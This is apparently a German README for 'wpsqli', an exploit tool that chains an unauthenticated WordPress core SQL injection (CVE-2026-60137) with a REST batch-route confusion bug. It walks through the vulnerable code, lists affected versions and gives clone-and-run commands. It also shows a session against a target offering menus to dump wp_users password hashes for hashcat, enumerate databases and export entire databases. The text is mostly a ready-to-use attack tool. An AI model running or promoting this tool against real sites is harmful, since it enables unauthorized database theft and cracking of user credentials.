
wpsqli vollständiger SQLi-Extraktor + Dumper für CVE-2026-60137
Ein schnelles, menügesteuertes Datenbankextraktions-Tool, das die
author__not_in-SQL-Injection-Schwachstelle im WordPress-Core ausnutzt. Dieses Tool konzentriert sich ausschließlich auf die Aufzählung und das Ausgeben von Datenbankinhalten und nutzt die REST-Batch-Route-Confusion (CVE-2026-63030), um die SQLi-Senke ohne Authentifizierung zu erreichen.
wpsqli ist ein reines Python-Tool, das eine verkettete Schwachstelle im WordPress-Core ausnutzt, die eine nicht authentifizierte SQL-Injection in die Datenbank ermöglicht. Es umgeht die Validierung der WordPress-REST-API über einen Batch-Route-Confusion-Bug und liefert ein rohes String-Payload direkt an die SQL-Senke von WP_Query.
Dieses Tool ist auf Geschwindigkeit und Flexibilität ausgelegt: Es versucht automatisch eine UNION-basierte In-Band-Extraktion (sofort), fällt auf eine parallele Boolean-Blind-Extraktion mit 8 Threads zurück und schließlich bei Bedarf auf eine sequenzielle zeitbasierte Extraktion.
Dieses Tool verkettet zwei unabhängige Schwachstellen, um eine nicht authentifizierte Datenbankextraktion zu erreichen:
author__not_in SQL Injection (CVE-2026-60137)Ort: wp-includes/class-wp-query.php, WP_Query::get_posts()
Der Parameter author__not_in wendet die absint()-Bereinigung nur an, wenn die Eingabe ein Array ist. Wenn ein String übergeben wird, wird die is_array()-Absicherung übersprungen, der String passiert implode() unverändert und wird roh in die SQL-$where-Klausel eingefügt.
// Line 2404: guard only fires for ARRAYS
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
sort( $query_vars['author__not_in'] );
}
// Line 2408: string passes straight through
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
// Line 2409: raw interpolation
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
Der Posts-Endpunkt der REST-API bildet author_exclude auf author__not_in ab, deklariert ihn jedoch als type => 'array' aus Ganzzahlen, sodass der Core einen String umwandelt bzw. zurückweist. Bug B schmuggelt den String an der Validierung vorbei, indem ein Desynchronisations-Bug im REST-Batch-Endpunkt (/wp-json/batch/v1) ausgenutzt wird. Durch die Injektion eines fehlerhaften Pfad-Primers, den wp_parse_url() ablehnt, wird ein WP_Error in die Batch-Request-Liste eingeschleust, wodurch $matches von $validation desynchronisiert wird. Dadurch kann eine nachfolgende Sub-Request ohne Parametervalidierung an den falschen Handler übergeben werden.
| Versionsbereich | Status |
|---|---|
| 6.8.0 – 6.8.5 | SQLi-Bug vorhanden, aber Kette NICHT erreichbar (Batch-Confusion in 6.9.0 eingeführt) |
| 6.9.0 – 6.9.4 | VERWUNDBAR — vollständige Kette ohne Authentifizierung |
| 7.0.0 – 7.0.1 | VERWUNDBAR — vollständige Kette ohne Authentifizierung |
| 6.8.6 | Gepatcht (SQLi) |
| 6.9.5 | Gepatcht |
| 7.0.2 | Gepatcht |
| 7.1-beta2+ | Gepatcht |
Hinweis: Die SQLi-Senke wird nur erreicht, wenn kein persistenter Objekt-Cache (Redis/Memcached) verwendet wird.
pip install erforderlich.wp_posts-Zeile, um ganze Strings in einer einzigen HTTP-Anfrage zu extrahieren (sofort).Ctrl+C während der Extraktion stoppt die aktuelle Abfrage und gibt Teilergebnisse zurück, ohne die Sitzung zu beenden.ID|user_login|user_pass mit bcrypt-Hashes, bereit für hashcat -m 35500.Keine Installation erforderlich. Einfach herunterladen und ausführen:
# Clone the repository
git clone https://github.com/AdarshThakur14777-cyber/CVE-2026-60137.git
# Navigate to directory
cd CVE-2026-60137
# Run
python main.py
Anforderungen:
Das interaktive Menü starten:
python main.py
============================================================
WP SQLi Extractor v3 (CVE-2026-60137)
============================================================
------------------------------------------------------------
CONNECTION
0. Connect / Change target
1. Check target (version + vuln confirm)
------------------------------------------------------------
FINGERPRINTING
2. MySQL version (@@version)
3. Current database name
4. Current DB user
5. WordPress table prefix
6. Dump wp_users (ID, login, pass hash)
7. Custom SQL query
8. Extract all fingerprints (2+3+4+5)
------------------------------------------------------------
ENUMERATION
9. List all databases
10. List all tables (current DB)
11. List columns of a table
------------------------------------------------------------
DUMPING
12. Dump a specific table
13. Dump all tables (current DB)
14. Full dump to file (all tables + all rows)
------------------------------------------------------------
15. Exit
============================================================
Choice: 0
Target (https://example.com): https://target.com
Skip TLS verify? (y/N):
Sleep delay for time-based (default 3):
[*] Connecting to https://target.com ...
[+] Batch endpoint: https://target.com/wp-json/batch/v1
[*] WordPress version: 6.9.4 VULNERABLE
[*] Testing UNION-based extraction ...
[!] UNION not available — trying boolean blind (8 parallel threads) ...
[+] Boolean-blind mode active (8 threads, ~7 reqs/char)
[+] Time-based also works (0.69s vs 3.78s)
| Option | Beschreibung |
|---|---|
0 | Mit einem Ziel verbinden (bereinigt URLs automatisch) |
1 | Schwachstelle und aktiven Extraktionsmodus verifizieren |
| Option | Beschreibung |
|---|---|
2 | MySQL-Version extrahieren (SELECT @@version) |
3 | Aktuellen Datenbanknamen extrahieren (SELECT DATABASE()) |
4 | Aktuellen DB-Benutzer extrahieren (SELECT CURRENT_USER()) |
5 | WordPress-Tabellenpräfix extrahieren |
6 | wp_users-Tabelle ausgeben (ID, Login, Passwort-Hash) |
7 | Eine benutzerdefinierte SQL-Abfrage ausführen |
8 | Alle Fingerprints (Optionen 2-5) nacheinander ausführen |